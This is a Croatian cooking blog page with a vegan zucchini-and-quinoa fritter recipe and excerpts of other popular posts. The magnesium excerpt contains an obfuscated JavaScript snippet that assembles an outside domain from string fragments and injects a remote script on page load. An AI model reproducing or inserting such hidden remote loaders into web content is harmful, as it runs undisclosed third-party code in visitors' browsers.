BRZI POPEČCI S TIKVICAMA I KVINOJOM




Brzi popečci s tikvicama i kvinojom 




Veganski popečci s tikvicama i kvinojom odličan su izbor za predjelo, međuobrok ili lagano glavno jelo. Moramo vas upozoriti da ćete teško odoljeti da ne uzmete još jednu i još jednu i... jer su divno hrskavi izvana, mekani iznutra i prepuni svježeg povrća i kopra.




Brzi popečci s tikvicama i kvinojom 


Sastojci:

  • 370 g kuhane i ohlađene kvinoje
  • 300 g naribanih tikvica (oko 2 manje tikvice)
  • 2 žlice ulja avokada ili kokosovog ulja (+ malo za pečenje)
  • 75 g sitno nasjeckanog luka (1 manja glavica)
  • 4 režnja češnjaka, sitno nasjeckana
  • 1/2 čajne žličice soli
  • prstohvat mljevenog crnog papra
  • 60 g nasjeckanog špinata
  • 40 g slanutkovog brašna
  • 60 ml vode
  • 15 g svježeg kopra, sitno nasjeckanog
  • 60 g bezglutenskog glatkog brašna (po potrebi dodati još)

Za posluživanje (po želji)

  • biljni jogurt
  • humus
  • umak od češnjaka i kopra
  • svježi kopar
  • kriške limuna




Priprema:

  1. Ako već nemate kuhanu kvinoju, pripremite je unaprijed prema uputama na pakiranju i ostavite da se potpuno ohladi.
  2. Tikvice naribajte na krupo. Stavite ih u čistu kuhinjsku krpu ili gazu pa dobro iscijedite što više tekućine.
  3. U većoj tavi zagrijte ulje pa dodajte luk i češnjak. Posolite, popaprite i pirjajte 3 do 4 minute dok luk ne omekša.
  4. Dodajte naribane tikvice i nastavite pirjati još oko 2 minute. Na kraju umiješajte špinat i kratko ga zagrijte dok ne uvene. Maknite s vatre i ostavite da se malo ohladi.
  5. U manjoj zdjeli pomiješajte slanutkovo brašno i vodu. Miješajte dok ne dobijete glatku, rijetku pastu bez grudica.
  6. U velikoj zdjeli pomiješajte kuhanu kvinoju, pirjano povrće, kopar i 1/4 čajne žličice soli.
  7. Dodajte smjesu od slanutkovog brašna i dobro promiješajte. Na kraju umiješajte bezglutensko brašno. Smjesa treba biti dovoljno čvrsta da se lako oblikuje. Ako je još uvijek premekana, dodajte još malo brašna.
  8. Od smjese oblikujte polpete debljine oko 1 cm i promjera dlana.
  9. U većoj tavi zagrijte malo ulja. Pecite popečke na srednje jakoj vatri oko 4 minute sa svake strane, dok ne dobiju lijepu zlatnosmeđu koricu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više